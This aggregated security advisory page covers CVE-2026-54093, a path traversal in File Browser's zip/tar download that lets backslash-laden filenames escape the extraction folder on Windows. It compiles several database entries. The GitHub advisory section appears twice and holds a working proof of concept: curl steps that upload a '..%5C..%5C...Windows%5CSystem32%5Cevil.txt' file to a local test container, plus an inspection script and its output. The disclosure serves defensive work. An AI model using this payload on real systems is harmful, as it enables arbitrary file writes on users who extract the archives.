CVE-2026-54093: File Browser: Path traversal in… (CVSS 6.8)

CVE List Score used 6.8

File Browser: Path traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive. This vulnerability is fixed in 2.63.6.

Record: CVE-2026-54093
CVSS 4.0: 6.8 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness: CWE-22
Updated: 2026-11-02

EUVDEUVD-2026-39504 6.8

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive. This vulnerability is fixed in 2.63.6.

Record: EUVD-2026-39504
CVSS 4.0: 6.8 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Updated: 2026-11-02

GitHub AdvisoriesGHSA-gxjx-7m74-hcq8 6.2

File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames

Summary

filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal (..\..\..\evil.txt) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory) interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive.

Details

http/raw.go getFiles() constructs the in-archive name and passes it to github.com/mholt/[email protected]:

nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows
archiveFiles = append(archiveFiles, archives.FileInfo{
    FileInfo:      info,
    NameInArchive: nameInArchive,
    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },
})

On Linux filepath.Separator == '/', so filepath.ToSlash leaves any literal backslash in the stored filename untouched. mholt/archives nameOnDiskToNameInArchive then writes that name verbatim into the zip/tar central directory.

The filename reaches the filesystem because the resource create path (http/resource.go resourcePostHandler) derives the name from r.URL.Path and cleans it with path.Clean("/" + ...), which treats only / as a separator. A URL-encoded backslash segment (%5C) therefore survives cleaning, and the file is created on the Linux FS with a literal \ in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.

PoC

Deployed against the official image filebrowser/filebrowser:v2.63.5 (current release, 2026-05-21).

# 1. Deploy
docker volume create fb-srv-vol
docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5
# wait for /health == 200; read the generated admin password from `docker logs fb-poc`
PW="<password from docker logs>"

# 2. Authenticate
TOK=$(curl -s -X POST http://localhost:8088/api/login \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"admin\",\"password\":\"$PW\"}")

# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)
curl -s -o /dev/null -w "mkdir=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK"
FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'
curl -s -o /dev/null -w "putfile=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \
  -H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT'

# 4. Download the folder as a zip and inspect the entry name
curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK"
python3 - <<'PY'
import zipfile, binascii
z = zipfile.ZipFile('/tmp/fb_evil.zip')
print("entries:", [i.orig_filename for i in z.infolist()])
data = open('/tmp/fb_evil.zip','rb').read()
idx = data.find(b'PK\x01\x02')
print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode())
print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200])
PY

Observed output (verbatim):

mkdir=200
putfile=200
entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt']
central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973
contains 0x5c backslash byte: True

Server-side, the file exists with a literal backslash name:

-rw-r-----  1 user user  20  ..\..\..\..\..\Windows\System32\evil.txt…

Record: GHSA-gxjx-7m74-hcq8
CVSS 4.0: 6.2 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L
Weakness: CWE-22
Updated: 2026-11-02

NVD 6.8

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive. This vulnerability is fixed in 2.63.6.

Record: CVE-2026-54093
CVSS 4.0: 6.8 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness: CWE-22
Updated: 2026-11-02

OSV 6.8

File Browser: Path traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive. This vulnerability is fixed in 2.63.6.

Record: CVE-2026-54093
CVSS 4.0: 6.8 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness: CWE-22
Updated: 2026-11-02

OSVGHSA-gxjx-7m74-hcq8 6.2

File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames

Summary

filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal (..\..\..\evil.txt) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory) interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive.

Details

http/raw.go getFiles() constructs the in-archive name and passes it to github.com/mholt/[email protected]:

nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows
archiveFiles = append(archiveFiles, archives.FileInfo{
    FileInfo:      info,
    NameInArchive: nameInArchive,
    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },
})

On Linux filepath.Separator == '/', so filepath.ToSlash leaves any literal backslash in the stored filename untouched. mholt/archives nameOnDiskToNameInArchive then writes that name verbatim into the zip/tar central directory.

The filename reaches the filesystem because the resource create path (http/resource.go resourcePostHandler) derives the name from r.URL.Path and cleans it with path.Clean("/" + ...), which treats only / as a separator. A URL-encoded backslash segment (%5C) therefore survives cleaning, and the file is created on the Linux FS with a literal \ in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.

PoC

Deployed against the official image filebrowser/filebrowser:v2.63.5 (current release, 2026-05-21).

# 1. Deploy
docker volume create fb-srv-vol
docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5
# wait for /health == 200; read the generated admin password from `docker logs fb-poc`
PW="<password from docker logs>"

# 2. Authenticate
TOK=$(curl -s -X POST http://localhost:8088/api/login \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"admin\",\"password\":\"$PW\"}")

# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)
curl -s -o /dev/null -w "mkdir=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK"
FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'
curl -s -o /dev/null -w "putfile=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \
  -H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT'

# 4. Download the folder as a zip and inspect the entry name
curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK"
python3 - <<'PY'
import zipfile, binascii
z = zipfile.ZipFile('/tmp/fb_evil.zip')
print("entries:", [i.orig_filename for i in z.infolist()])
data = open('/tmp/fb_evil.zip','rb').read()
idx = data.find(b'PK\x01\x02')
print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode())
print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200])
PY

Observed output (verbatim):

mkdir=200
putfile=200
entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt']
central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973
contains 0x5c backslash byte: True

Server-side, the file exists with a literal backslash name:

-rw-r-----  1 user user  20  ..\..\..\..\..\Windows\System32\evil.txt…

Record: GHSA-gxjx-7m74-hcq8
CVSS 4.0: 6.2 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L
Weakness: CWE-22
Updated: 2026-11-02

OSVGO-2026-5411 No score

File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames in github.com/filebrowser/filebrowser

File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames in github.com/filebrowser/filebrowser

Record: GO-2026-5411
Updated: 2026-11-02

OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
GO-2026-5933 GHSA-3g4q-2f67-2gvh
GO-2026-5934 GHSA-59qp-cfj3-rp64
GO-2026-5935 GHSA-7856-g3gv-9wq8
GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
GO-2026-5942 CVE-2026-46600
GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
GO-2026-5969 GHSA-g936-7jqj-mwv8
GO-2026-5970 CVE-2026-56852
GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
GO-2026-5981 GHSA-mqxv-9rm6-w8qc
GO-2026-5982 GHSA-pqg7-v6wh-3pfp
GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
GO-2026-5985 GHSA-7rx3-5wx3-5v76
GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…

Record: openSUSE-SU-2026:21483-1
Updated: 2026-11-02

Package	Affected	Fixed
`github.com/filebrowser/filebrowser/v2` Go	through 2.63.5	2.63.6
`github.com/filebrowser/filebrowser` Go	through 1.11.0	None known
`github.com/filebrowser/filebrowser/v2` Go	before 2.63.6	2.63.6
`github.com/filebrowser/filebrowser` Go	All versions	None known
`govulncheck-vulndb` openSUSE:Leap 16.0 From an advisory covering 1734 CVEs	before 0.0.20260723T184607-160000.1.1	0.0.20260723T184607-160000.1.1

Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

CVE-2026-54093

Attack profile

How easy it is to exploit

What an attacker can affect

Exploit likelihood

What each source reports

Summary

Details

PoC

Summary

Details

PoC

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History

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